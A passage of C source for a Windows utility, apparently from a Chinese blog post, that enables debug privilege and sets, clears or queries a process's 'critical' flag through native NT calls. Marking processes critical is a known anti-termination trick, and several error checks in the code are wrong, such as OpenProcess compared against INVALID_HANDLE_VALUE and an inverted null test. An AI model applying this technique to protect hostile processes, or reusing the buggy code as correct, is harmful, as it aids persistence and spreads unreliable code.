    /t                设为关键进程。\n\
    /f                设为普通进程。\n\
    /q                判断指定的进程的关键度。\n");

    exit(0);
}

static void print_err(LPCWSTR lpWhere, DWORD dwLastError, LPCWSTR lpExtraInfo){
    LPWSTR lpBuffer = (LPWSTR)LocalAlloc(LMEM_ZEROINIT, 1024 * 2);
    LPVOID lpMsgBuf;

    FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER | 
                  FORMAT_MESSAGE_FROM_SYSTEM | 
                  FORMAT_MESSAGE_IGNORE_INSERTS,
            NULL, GetLastError(),
            MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language
            (LPWSTR) &lpMsgBuf, 0, NULL
    );

    wprintf(L"%s失败!原因:%s\n", lpWhere, (LPCWSTR)lpMsgBuf);
    if(!lpExtraInfo) wprintf(L"%s\n", lpExtraInfo);
    exit(1);
} 

HRESULT ParseCommandLine(int argc, char* argv[], DWORD *pPid, PBOOL pfFlag, PBOOL pfQuery){
    BOOL PidSet  =  FALSE;
    BOOL FlagSet =  FALSE;
    for (int index = 1; index < argc; index++)
    {
        if (argv[index][0] == L'-' || argv[index][0] == L'/')
        {
            switch (towlower(argv[index][1]))
            {
                case L'?': /* Help */
                    print_help();
                    return ERROR_SUCCESS;

                case L'n': 
                    if(PidSet){
                        wprintf(L"查找指定进程失败。可能是您指定了多个进程。请核对您的输入。\n");
                        exit(1);
                    }
                    if (index+1 >= argc)
                        return ERROR_INVALID_DATA;
                    if (!argv[index+1] || lstrlenA(argv[index+1]) <= 512)
                    {
                        *pPid = GetProcessID(argv[index+1]);
                        PidSet = TRUE;
                        if(*pPid == 0){
                            print_err(L"查找指定进程", ERROR_INVALID_DATA, L"请核对您的输入。");
                            exit(1);
                        }
                        index++;
                    }
                    else
                    {
                        print_err(L"查找指定进程", ERROR_BAD_LENGTH, L"请将进程名控制在1~512个字符之间。");
                        return ERROR_BAD_LENGTH;
                    }
                    break;

                case L'p': 
                    if(PidSet){
                        wprintf(L"查找指定进程失败。可能是您指定了多个进程。请核对您的输入。\n");
                        exit(1);
                    }
                    if (index+1 >= argc)
                        return ERROR_INVALID_DATA;
                    *pPid = atoi(argv[index+1]);
                    PidSet = TRUE; 
                    index++;
                    break;

                case L'f':
                    if(FlagSet){
                        wprintf(L"指定关键度失败。可能是您指定了多个关键度。请核对您的输入。\n");
                        exit(1);
                    }
                    *pfFlag = FALSE;
                    FlagSet = TRUE;
                    break;

                case L't':
                    if(FlagSet){
                        wprintf(L"指定关键度失败。可能是您指定了多个关键度。请核对您的输入。\n");
                        exit(1);
                    }
                    *pfFlag = TRUE;
                    FlagSet = TRUE;
                    break;

                case L'q':
                    *pfQuery = TRUE;
                    break;

                default:
                    /* Unknown arguments will exit the program. */
                    print_help();
                    return ERROR_SUCCESS;
            }
        }
    }
}

int main(int argc, char *argv[]){
    BOOL     fFlag;
    DWORD    pid;
    HANDLE   hProcess;
    BOOL     fSuccess;
    BOOL     fQuery = FALSE;

    setlocale(LC_ALL, "chs");
    wprintf(L"CriticalProc v1.0 by 旮沓曼_gt428\n");
    if(argc <= 1) print_help();
    else ParseCommandLine(argc, argv, &pid, &fFlag, &fQuery);

    fSuccess = EnableDebugPrivilege(TRUE);
    if(!fSuccess) print_err(L"获取调试特权", GetLastError(), L"请尝试以管理员身份运行!");

    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if(hProcess == INVALID_HANDLE_VALUE) print_err(L"打开进程", GetLastError(), L"请尝试管理员身份运行!");

    if(!fQuery){ //Set the Critical Flag
        fSuccess = CallNtSetInformationProcess(hProcess, fFlag);
        if(!fSuccess) print_err(L"设置关键进程时", GetLastError(), NULL);
    }

    else {
        ULONG bCritical = FALSE;
        fSuccess = CallNtQueryInformationProcess(hProcess, &bCritical);
        if(!fSuccess) print_err(L"询问进程关键度时", GetLastError(), NULL);
        else wprintf(L"指定的进程为%s。\n", bCritical?L"关键进程":L"普通进程");
    }

    return 0;
}

暂无评论

发表评论